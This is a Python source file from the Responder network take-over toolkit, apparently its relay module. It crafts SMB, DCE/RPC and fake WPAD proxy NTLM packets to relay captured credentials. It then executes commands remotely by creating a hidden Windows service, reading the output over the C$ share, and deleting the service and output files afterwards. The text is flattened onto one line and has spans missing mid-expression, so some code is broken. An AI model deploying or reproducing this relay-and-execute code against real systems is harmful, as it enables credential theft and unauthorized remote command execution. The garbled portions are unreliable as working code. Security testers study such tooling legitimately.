#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct import sys import random import time from odict import OrderedDict import datetime from base64 import b64decode, b64encode def longueur(payload): length = struct.pack(">i", len(''.join(payload))) return length class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) ##################HTTP Proxy Relay########################## def HTTPCurrentDate(): Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') return Date class WPAD_Auth_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), ("Connection", "Proxy-Connection: close\r\n"), ("Cache-Control", "Cache-Control: no-cache\r\n"), ("Pragma", "Pragma: no-cache\r\n"), ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) class WPAD_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "Proxy-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) def calculate(self,payload): self.fields["Payload"] = b64encode(payload) ##################SMB Relay Packet########################## class SMBHeader(Packet): fields = OrderedDict([ ("proto", "\xff\x53\x4d\x42"), ("cmd", "\x72"), ("error-code", "\x00\x00\x00\x00" ), ("flag1", "\x08"), ("flag2", "\x01\xc8"), ("pidhigh", "\x00\x00"), ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("Reserved", "\x00\x00"), ("tid", "\x00\x00"), ("pid", "\x3c\x1b"), ("uid", "\x00\x00"), ("mid", "\x00\x00"), ]) class SMBNegoCairo(Packet): fields = OrderedDict([ ("Wordcount", "\x00"), ("Bcc", "\x62\x00"), ("Data", "") ]) def calculate(self): self.fields["Bcc"] = struct.pack(" 255: self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0) else: self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3) if len(NTLMData)-8 > 255: self.fields["AsnSecMechLenOfLen"] = "\x82" self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4) else: self.fields["AsnSecMechLenOfLen"] = "\x81" self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6) if len(NTLMData)-12 > 255: self.fields["ChoosedTagLenOfLen"] = "\x82" self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) else: self.fields["ChoosedTagLenOfLen"] = "\x81" self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9) if len(NTLMData)-16 > 255: self.fields["ChoosedTag1StrLenOfLen"] = "\x82" self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12) else: self.fields["ChoosedTag1StrLenOfLen"] = "\x81" self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12) CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) ## Packet len self.fields["andxoffset"] = struct.pack("", "^>")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering File = "%WINDIR%\\Temp\\"+self.fields["FileName"] WinTmpPath = "%WINDIR%\\Temp\\Results.txt" CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd. FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File #That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file. self.fields["FileName"] = ""#Reset it. self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo. self.fields["BinCMD"] = FinalCMD self.fields["BintoEnd"] = "& %COMSPEC% /C "+File BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"]) ## Calculate first self.fields["BinPathMaxCount"] = struct.pack(" 0.5:#Timeout break try: data = s.recv(1024) if data: Completedata.append(data) Start=time.time() else: break except: pass s.setblocking(1) return s, ''.join(Completedata) def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): if data == None: return False head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBNTCreateData() t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## Fail Handling. if data[8:10] == "\xa2\x22": print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n" return False ## DCE/RPC Write. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) x = SMBDCEData() x.calculate() f = data[42:44] t = SMBWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLOpenManagerW. if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0]) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() t = SMBWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLCreateService. if data[8:10] == "\x2e\xb0": print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n" return False ## DCE/RPC SVCCTLCreateService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" return False #print "[+] Creating service" head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) ContextHandler = data[88:108] ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' FilePath = FileChars w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLOpenService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to create the service\n" return False #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to open the service.\n" return False ContextHandler = data[88:108] head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ##Tree connect c$ if data[8:10] == "\x2e\x00": #print "[+] Command executed, grabbing output now." Logs.info('Command executed:') Logs.info(clientIP+","+Username+','+Command) #time.sleep(1)#Maybe the command executed took some time.. #print "[+] Removing service.\n[+] Cleaning up files.\n" head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ##OpenAndX. if data[8:10] == "\x75\x00": head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ##OpenAndX. if data[8:10] == "\x2d\x34": time.sleep(1)#not found, maybe still processing the cmd. Wait a bit. head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ##OpenAndX. if data[8:10] == "\x2d\x34": time.sleep(1)#not found, command failed. print "[+] The command failed." return data ##ReadRequest. ## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed. if data[8:10] == "\x2d\x00": ReturnedFID = data[41:43] head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") t = ReadRequestAndX(FID=ReturnedFID) packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) s, data = SMBReadRecv(s) #print "[+] Output:\n" print ExtractCommandOutput(data) ##Close Request if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = CloseRequest(FID = ReturnedFID) packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ##DeleteFileRequest. if data[8:10] == "\x04\x00": head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 #print "[+] Deleting file now." s.send(buffer1) data = s.recv(2048) if data[8:10] == "\x06\x00": #print "[+] File deleted, making sure it's not there anymore.." head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) return data